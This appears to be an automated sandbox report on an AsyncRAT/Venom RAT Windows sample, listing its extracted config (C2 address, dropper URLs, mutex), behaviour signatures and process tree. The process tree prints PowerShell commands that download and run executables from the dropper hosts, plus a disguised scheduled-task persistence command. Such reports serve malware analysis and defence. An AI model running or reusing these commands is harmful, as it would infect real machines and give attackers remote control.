Overview

overview

10

Static

static

10

c8c12055c4...60.exe

windows7-x64

10

c8c12055c4...60.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    142s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/05/2024, 07:45

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    c8c12055c4468764fdb8553eee67f51dea7be14e4517d5d43d5a7695dc6b0660.exe
  • Size 74KB
  • Sample240526-jlehtabe9s
  • SHA256 c8c12055c4468764fdb8553eee67f51dea7be14e4517d5d43d5a7695dc6b0660
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
asyncratdefaultdiscoveryexecutionrat

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://xcu.exgaming.click

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://xcu5.exgaming.click

Extracted

Family

  • asyncrat

Version

  • Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

  • Default

C2

  • 94.156.65.172:4449

Mutex

  • izslwuidilziewad

Attributes
  • delay

    1

  • install

    true

  • install_file

    AntiMalware.exe

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

    ratasyncrat
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Start PowerShell.

    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Suspicious behavior: EnumeratesProcesses 40 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\c8c12055c4468764fdb8553eee67f51dea7be14e4517d5d43d5a7695dc6b0660.exe
    "C:\Users\Admin\AppData\Local\Temp\c8c12055c4468764fdb8553eee67f51dea7be14e4517d5d43d5a7695dc6b0660.exe"
    1⤵
    • Checks computer location settings
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2932
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', '%Temp%\\ExpIorer.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', '%Temp%\\ExplIorer.exe') & powershell Start-Process -FilePath '%Temp%\\ExpIorer.exe' & powershell Start-Process -FilePath '%Temp%\\ExplIorer.exe' & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4832
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe')
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:772
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe')
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3628
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1108
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3424
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "AntiMalware" /tr '"C:\Users\Admin\AppData\Roaming\AntiMalware.exe"' & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2952
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /sc onlogon /rl highest /tn "AntiMalware" /tr '"C:\Users\Admin\AppData\Roaming\AntiMalware.exe"'
        3⤵
        • Creates scheduled task(s)
        PID:1216
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp689D.tmp.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1576
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:2648
      • C:\Users\Admin\AppData\Roaming\AntiMalware.exe
        "C:\Users\Admin\AppData\Roaming\AntiMalware.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4348
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', '%Temp%\\ExpIorer.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', '%Temp%\\ExplIorer.exe') & powershell Start-Process -FilePath '%Temp%\\ExpIorer.exe' & powershell Start-Process -FilePath '%Temp%\\ExplIorer.exe' & exit
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3316
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe')
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1316
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe')
            5⤵
              PID:3668
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe'
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5068
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe'
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2884

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          powershell.exe.log
          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
          • MD5 SHA1 SHA512
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 b1a00fcea37b39a5556eea46e50711f7713b72be077a73cb16515ca3538d6030
          • MD5 SHA1 SHA512
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 0554687e2254846915ac9d734989c77cfc0417bdd6607dd64dde2fb2dcc55854
          • MD5 SHA1 SHA512
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 c73e90d25c5791493c50e603b9ebbb7372580971262f7804c1f3641020edc82a
          • MD5 SHA1 SHA512
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 5b49723a7773f2fe1f6093236e7b9b2c546f0873635d02346cb39535811234fa
          • MD5 SHA1 SHA512
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 ce8919c2f373fbeb62d6ecae9ab255bbeb265be6f3a8f58716dcafe04fda9ccb
          • MD5 SHA1 SHA512
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 fea03548aaf31bc126feeb0910c8b922b0f1d17650471820f76a2e84a322b40e
          • MD5 SHA1 SHA512
          Submit Download

          __PSScriptPolicyTest_wougbv4k.w1v.ps1
          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wougbv4k.w1v.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512
          Submit Download

          tmp689D.tmp.bat
          • Path C:\Users\Admin\AppData\Local\Temp\tmp689D.tmp.bat
          • Size 155B
          • SHA256 b11ca65c946d054a37aa466af17662c363d19fec90c174d4abdff2cbb754f168
          • MD5 SHA1 SHA512
          Submit Download

          AntiMalware.exe
          • Path C:\Users\Admin\AppData\Roaming\AntiMalware.exe
          • Size 74KB
          • SHA256 c8c12055c4468764fdb8553eee67f51dea7be14e4517d5d43d5a7695dc6b0660
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          DataLogs.conf
          • Path C:\Users\Admin\AppData\Roaming\MyData\DataLogs.conf
          • Size 8B
          • SHA256 c9f9f193409217f73cc976ad078c6f8bf65d3aabcf5fad3e5a47536d47aa6761
          • MD5 SHA1 SHA512
          Submit Download

          memory/772-14-0x00007FFCFFC70000-0x00007FFD00731000-memory.dmp
          Download

          memory/772-19-0x00007FFCFFC70000-0x00007FFD00731000-memory.dmp
          Download

          memory/772-16-0x00007FFCFFC70000-0x00007FFD00731000-memory.dmp
          Download

          memory/772-15-0x00007FFCFFC70000-0x00007FFD00731000-memory.dmp
          Download

          memory/772-13-0x0000023E30420000-0x0000023E30442000-memory.dmp
          Download

          memory/2932-36-0x00007FFCFFC70000-0x00007FFD00731000-memory.dmp
          Download

          memory/2932-0-0x00007FFCFFC73000-0x00007FFCFFC75000-memory.dmp
          Download

          memory/2932-3-0x00007FFCFFC70000-0x00007FFD00731000-memory.dmp
          Download

          memory/2932-1-0x0000000000460000-0x0000000000476000-memory.dmp
          Download

          memory/3424-60-0x0000021BE0930000-0x0000021BE0A7E000-memory.dmp
          Download